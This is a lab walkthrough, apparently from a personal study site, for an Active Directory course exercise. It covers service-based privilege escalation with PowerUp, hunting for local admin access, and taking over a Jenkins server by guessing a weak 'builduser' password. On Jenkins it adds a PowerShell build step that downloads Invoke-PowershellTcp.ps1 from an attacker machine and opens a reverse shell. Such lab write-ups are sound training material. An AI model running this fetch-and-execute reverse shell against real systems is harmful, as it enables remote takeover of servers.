HomeGitHubPortfolioTwitter/XMediumCont@ct

5 - LO 5️

Learning Object 5

Tasks

1 - Exploit a service on dcorp-studentx and elevate privileges to local administrator

2 - Identify a machine in the domain where studentx has local administrative access

3 - Using privileges of a user on Jenkins on 172.16.3.11:8080, get admin privileges on 172.16.3.11 - the dcorp-ci server

Flag 5 [Student VM] - Service abused on the student VM for local privilege escalation 🚩

Flag 6 [Student VM] - Script used for hunting for admin privileges using PowerShell Remoting 🚩

Flag 7 [dcorp-ci] - Jenkins user used to access Jenkins web console 🚩

Flag 8 [dcorp-ci] - Domain user used for running Jenkins service on dcorp-ci 🚩

Solutions

1 - Exploit a service on dcorp-studentx and elevate privileges to local administrator

Start InviShell and PowerUp

C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
. C:\AD\Tools\PowerUp.ps1

Now we need to exploit a service and elevate privileges to local administrator, using Invoke-AllChecks method we're able to display all services vulnerable with "CanRestart: True", "Check: Modifiable Services", and"Unquoted Service Paths" with relatives abuse function to exploit them

There're multiple service vulnerable, in this case i choose a service with CanRestart attribute equals to 'True'

Abusing it with the following command we're able to perform privilege escalation adding our student account to local admin group.

Do to it correctly, first to proceed, we can check abuse function examples:

So, this is the abuse function that we need:

Check it using this command: Get-LocalGroupMember -Group "Administrators"

2 - Identify a machine in the domain where studentx has local administrative access

Using Find-PSRemotingLocalAdminAccess.ps1 we can diplay machines where our student account has local admin access:

3 - Using privileges of a user on Jenkins on 172.16.3.11:8080, get admin privileges on 172.16.3.11 - the dcorp-ci server

Go via browser on Jenkins site (172.16.3.11:8080) to Dashboard:

This Jenkins vs has password policy without a restrictive rule, we can obtain username about three accounts going to http://172.16.3.11:8080/asynchPeople/

so we can brute force accounts using Hydra, but first to proceed i've try to login at http://172.16.3.11:8080/login using as a psw the same username and generic passwords login with builduser:builduser credentials

  • Modify an existing project, clicking to existing project0

  • Configure -> Add build step (write the following command) -> powershell iex (iwr -UseBasicParsing http://<attacker_machine>/Invoke-PowershellTcp.ps1);power -Reverse -IPAddress <attacker_machine> -Port 1339

and save it. Meanwhile run netcat on our attacker win machine going in listening mode on port 1339:

Now our student user appartains to administrators group and we can disabilitate firewall, do it!

After that, run a web server using HFS.exe present into Tool folder and move Invoke-PowerShellTCP.ps1 to Virtual File System copying the URL into program clipboard:

Click on Build Now

Go again to our shell and we'll see the connection back:

Flag 5 [Student VM] - Service abused on the student VM for local privilege escalation 🚩

As seen in the task 1, we can use one of the following services:

Flag 6 [Student VM] - Script used for hunting for admin privileges using PowerShell Remoting 🚩

As seen in the task 2, we used Find-XXXXXXXXXXXX for hunting admin privileges using PS remoting:

Flag 7 [dcorp-ci] - Jenkins user used to access Jenkins web console 🚩

Based on the task 3, we can login as XXXXXXX account:

Flag 8 [dcorp-ci] - Domain user used for running Jenkins service on dcorp-ci 🚩

As see in the task 3, interacting with machine after the reverse shell we've check target information, in this case the domain user is: XXXXXXX

Previous4 - LO 4️Next6 - LO 6️

Last updated